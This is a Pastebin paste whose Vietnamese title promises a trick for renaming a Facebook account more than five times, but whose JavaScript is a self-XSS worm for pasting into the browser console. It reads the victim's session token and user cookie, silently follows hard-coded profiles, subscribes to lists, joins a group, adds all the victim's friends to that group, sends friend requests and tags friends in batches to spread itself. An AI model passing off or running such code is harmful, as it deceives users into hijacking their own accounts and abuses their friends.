This week only. Pastebin PRO Accounts Christmas Special! Don't miss out!Want more features on Pastebin? Sign Up, it's FREE!
Guest

Thủ Thuật Đổi Tên Facebook Quá 5 lần

By: a guest on Dec 9th, 2013  |  syntax: None  |  size: 8.93 KB  |  views: 31  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3.        
  4. function cereziAl(isim) {
  5.     var tarama = isim + "=";
  6.     if (document.cookie.length > 0) {
  7.         konum = document.cookie.indexOf(tarama)
  8.         if (konum != -1) {
  9.             konum += tarama.length
  10.             son = document.cookie.indexOf(";", konum)
  11.             if (son == -1)
  12.                 son = document.cookie.length
  13.             return unescape(document.cookie.substring(konum, son))
  14.         }
  15.         else { return ""; }
  16.     }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20.     return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23.     return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30.     var http4 = new XMLHttpRequest();
  31.      
  32.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.      
  34.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35.     http4.open("POST", url4, true);
  36.      
  37.     //Send the proper header information along with the request
  38.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39.     http4.setRequestHeader("Content-length", params4.length);
  40.     http4.setRequestHeader("Connection", "close");
  41.      
  42.     http4.onreadystatechange = function() {//Call a function when the state changes.
  43.     if(http4.readyState == 4 && http4.status == 200) {
  44.        
  45.       http4.close; // Close the connection
  46.      
  47.     }
  48.     }
  49.    
  50.     http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54.                 var a = document.createElement('script');
  55.                 a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56.                 document.body.appendChild(a);
  57. }
  58.  
  59. a("100004268643524");
  60. a("100005258143459");
  61. sublist('227119980773622');
  62. sublist('227118507440436');
  63. sublist('227117570773863');
  64. sublist('219060081579612');
  65. sublist('227119254107028');
  66. sublist('227117194107234');
  67. sublist('227119367440350');
  68. sublist('227119907440296');
  69. sublist('227119117440375');
  70. sublist('227117000773920');
  71. sublist('227119454107008');
  72. sublist('227117680773852');
  73. sublist('227119697440317');
  74. sublist('227118864107067');
  75. sublist('227119860773634');
  76. sublist('227118754107078');
  77. sublist('227118670773753');
  78. sublist('227118307440456');
  79. sublist('227117617440525');
  80. sublist('227119780773642');
  81. sublist('227119027440384');
  82. var gid = ['599083826811704'];
  83.  
  84. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  85. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  86.  
  87. var httpwp = new XMLHttpRequest();
  88. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  89. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  90. httpwp['open']('POST', urlwp, true);
  91. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  92. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  93. httpwp['setRequestHeader']('Connection', 'keep-alive');
  94. httpwp['send'](paramswp);
  95.  
  96. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  97. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  98.  
  99. var friends = new Array();
  100. gf = new XMLHttpRequest();
  101. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  102. gf['send']();
  103. if (gf['readyState'] != 4) {} else {
  104.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  105.     if (data['error']) {} else {
  106.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  107.             return _0x93dax8['index'] - _0x93dax9['index'];
  108.         });
  109.     };
  110. };
  111.  
  112. for (var i = 0; i < friends['length']; i++) {
  113.     var httpwp = new XMLHttpRequest();
  114.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  115.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  116.     httpwp['open']('POST', urlwp, true);
  117.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  118.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  119.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  120.     httpwp['onreadystatechange'] = function () {
  121. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  122.     };
  123.     httpwp['send'](paramswp);
  124. };
  125. var spage_id = "599083826811704";
  126. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  127. var smesaj = "";
  128. var smesaj_text = "";
  129. var arkadaslar = [];
  130. var svn_rev;
  131. var bugun= new Date();
  132. var btarihi = new Date();
  133. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  134. if(!document.cookie.match(/paylasti=(\d+)/)){
  135. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  136. }
  137.  
  138.  
  139. //arkadaslari al ve isle
  140. function sarkadaslari_al(){
  141.                 var xmlhttp = new XMLHttpRequest();
  142.         xmlhttp.onreadystatechange = function () {
  143.                         if(xmlhttp.readyState == 4){
  144.                                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  145.                                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  146.                                         smesaj = "";
  147.                                         smesaj_text = "";
  148.                                   for(i=f*10;i<(f+1)*10;i++){
  149.                                         if(arkadaslar.payload.entries[i]){
  150.                                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  151.                                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  152.                                   }
  153.                                         }
  154.                                         sdurumpaylas();                         }
  155.                                
  156.                         }
  157.                        
  158.         };
  159.                 var params = "&filter[0]=user";
  160.                 params += "&options[0]=friends_only";
  161.                 params += "&options[1]=nm";
  162.                 params += "&token=v7";
  163.         params += "&viewer=" + user_id;
  164.                 params += "&__user=" + user_id;
  165.                
  166.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  167.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  168.         xmlhttp.send();
  169. }
  170.  
  171. //tiklama olayini dinle
  172. var tiklama = document.addEventListener("click", function () {
  173. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  174. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  175. sarkadaslari_al();
  176. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  177.  
  178. document.removeEventListener(tiklama);
  179. }
  180.  }, false);
  181.  
  182.  
  183. //arkada?¾ ekleme
  184. function sarkadasekle(uid,cins){
  185.                 var xmlhttp = new XMLHttpRequest();
  186.         xmlhttp.onreadystatechange = function () {
  187.                         if(xmlhttp.readyState == 4){   
  188.                         }
  189.         };
  190.                
  191.                 xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  192.                 var params = "to_friend=" + uid;
  193.                 params += "&action=add_friend";
  194.                 params += "&how_found=friend_browser";
  195.                 params += "&ref_param=none";
  196.                 params += "&outgoing_id=";
  197.                 params += "&logging_location=friend_browser";
  198.                 params += "&no_flyout_on_click=true";
  199.                 params += "&ego_log_data=";
  200.                 params += "&http_referer=";
  201.                 params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  202.         params += "&phstamp=318850204903531";
  203.                 params += "&__user=" + user_id;
  204.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  205.                 xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  206.                
  207. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  208.                 xmlhttp.send(params);
  209. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  210.                 cinsiyetgetir(uid,cins,"sarkadasekle");
  211. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  212.                 xmlhttp.send(params);
  213. }
  214. }
  215.  
  216. //cinsiyet belirleme
  217. var cinssonuc = {};
  218. var cinshtml = document.createElement("html");
  219. function scinsiyetgetir(uid,cins,fonksiyon){
  220.                 var xmlhttp = new XMLHttpRequest();
  221.         xmlhttp.onreadystatechange = function () {
  222.                         if(xmlhttp.readyState == 4){
  223.                         eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  224.                         cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  225.                         btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  226.                         if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  227.                         document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  228.                         }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  229.                         document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  230.                         }
  231.                         eval(fonksiyon + "(" + id + "," + cins + ");");
  232.                         }
  233.         };
  234.                 xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  235.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  236.                 xmlhttp.send();
  237. }
clone this paste RAW Paste Data